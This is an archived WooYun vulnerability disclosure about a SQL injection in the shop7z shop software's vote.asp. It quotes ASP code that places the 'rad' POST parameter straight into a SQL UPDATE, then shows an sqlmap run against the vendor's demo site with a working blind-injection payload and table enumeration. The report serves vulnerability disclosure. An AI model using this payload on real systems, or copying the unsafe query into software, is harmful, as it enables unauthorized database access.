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缺陷编号:wooyun-2014-076168

漏洞标题:shop7z投票处post 注入

相关厂商:shop7z

漏洞作者: ra0mb1er

提交时间:2014-09-16 16:29

修复时间:2014-12-15 16:32

公开时间:2014-12-15 16:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2014-09-16: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

vote.asp

详细说明:

vote.asp 14-22

if rad<>"" and request.cookies("votestat")<>"Y" then
sql="update e_diaocha2 set shuliang=shuliang+1 where id="&rad
'response.write sql
'response.end
conn.execute(sql)
votenews="1"
response.cookies("votestat")="Y"
end if
%>

漏洞证明:

7.jpg


F:\sqlmap>python sqlmap.py -u "http://www.shop7z.com/demo/vote.asp" --data "rad=
1" --tables
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140915}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:37:20
[19:37:20] [INFO] testing connection to the target URL
[19:37:20] [INFO] testing if the target URL is stable. This can take a couple of
seconds
you provided a HTTP Cookie header value. The target URL provided its own cookies
within the HTTP Set-Cookie header which intersect with yours. Do you want to me
rge them in futher requests? [Y/n]
[19:37:23] [INFO] target URL is stable
[19:37:23] [INFO] testing if POST parameter 'rad' is dynamic
[19:37:23] [WARNING] POST parameter 'rad' does not appear dynamic
[19:37:23] [INFO] heuristics detected web page charset 'GB2312'
[19:37:23] [INFO] heuristic (basic) test shows that POST parameter 'rad' might b
e injectable (possible DBMS: 'Microsoft Access')
[19:37:23] [INFO] testing for SQL injection on POST parameter 'rad'
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft Acces
s'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
do you want to include all tests for 'Microsoft Access' extending provided level
(1) and risk (1) values? [Y/n]
[19:37:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:37:26] [WARNING] reflective value(s) found and filtering out
[19:37:27] [INFO] testing 'Microsoft Access boolean-based blind - Parameter repl
ace (original value)'
[19:37:28] [INFO] POST parameter 'rad' seems to be 'Microsoft Access boolean-bas
ed blind - Parameter replace (original value)' injectable
[19:37:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:37:28] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[19:37:30] [INFO] checking if the injection point on POST parameter 'rad' is a f
alse positive
POST parameter 'rad' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 42 HTTP(s) requ
ests:
---
Place: POST
Parameter: rad
Type: boolean-based blind
Title: Microsoft Access boolean-based blind - Parameter replace (original va
lue)
Payload: rad=IIF(3592=3592,1,1/0)
---
[19:37:33] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:37:33] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[19:37:33] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[19:37:33] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[19:37:33] [INFO] retrieved:
[19:37:33] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[19:37:33] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[19:37:33] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q]
[19:37:34] [INFO] checking table existence using items from 'F:\sqlmap\txt\commo
n-tables.txt'
[19:37:34] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[19:37:38] [INFO] starting 10 threads
[19:37:52] [INFO] retrieved: article
[19:38:09] [INFO] tried 673/3137 items (21%)
[19:38:09] [INFO] waiting for threads to finish (Ctrl+C was pressed)
[19:38:10] [WARNING] user aborted during table existence check. sqlmap will disp
lay partial output
Database: Microsoft_Access_masterdb
[1 table]
+---------+
| article |
+---------+
[19:38:10] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 713 times
[19:38:10] [INFO] fetched data logged to text files under 'C:\Users\c\.sqlmap\ou
tput\www.shop7z.com'
[*] shutting down at 19:38:10

修复方案:

版权声明:转载请注明来源 ra0mb1er@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝